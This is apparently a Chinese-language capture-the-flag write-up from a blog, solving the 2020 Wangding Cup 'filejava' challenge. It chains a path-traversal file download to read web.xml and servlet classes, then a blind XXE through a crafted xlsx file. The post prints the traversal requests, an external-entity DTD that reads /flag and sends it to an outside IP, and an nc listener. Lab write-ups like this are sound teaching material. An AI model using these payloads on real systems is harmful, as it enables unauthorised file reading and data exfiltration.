[网鼎杯 2020 青龙组]filejava

知识点

  • web.xml文件泄露
  • blind xxe

 

随便上传一个文件,然后点击下载,抓包

 

 

看到有filename,猜测可能存在目录穿越以及任意文件下载

尝试

filename=../

  

 

看到有一个路径,里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

 

这里的读取我是又抓了一次包,把上面repeater的报文复制到proxy,再Forward下载文件

其实不需要这么麻烦,上图右半部分已经给出了三个class文件的地址,下下来就行了

repeater中

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

repeater重放就能发现有东西,重新点一次下载,将repeater的报文复制到proxy里,点击Forward,就可以下载到DownloadServlet.class文件

按照这个方法,依次下载web.xml中出现的DownloadServlet.class,ListFileServlet.class,UploadServlet.class等三个class文件

对这些class文件进行反编译,我用的jd-gui

代码太多,只贴关键的,UploadServlet.class

 

 

这里是一个excel和xxe漏洞的结合,CVE-2014-3529

这里需要用到vps,因为是在buu上复现的,所以注册一个小号,开一台靶机就行

新建一个excel-123456.xlsx文件,后缀名改成zip。注意,修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题。接下来就是在里面的[Content_Types].xml的第二行加入

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://靶机内网ip,不是ssh连接的那个/file.dtd">
%remote;%int;%send;
]>

 

然后在靶机的/var/www/html目录下新建一个file.dtd文件,内容为

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.94.166:9999?p=%file;'>">

然后就是监听

nc -lvvp 9999

紧接着上传excel-123456.xlsx文件,在靶机处接收到flag

 

 

参考

https://www.gem-love.com/websecurity/2322.html

https://guokeya.github.io/post/nmxAW2K-f/

https://www.cnblogs.com/thespace/p/12400719.html

posted @ 2020-05-18 18:41  山野村夫z1  阅读(2693)  评论(0编辑  收藏  举报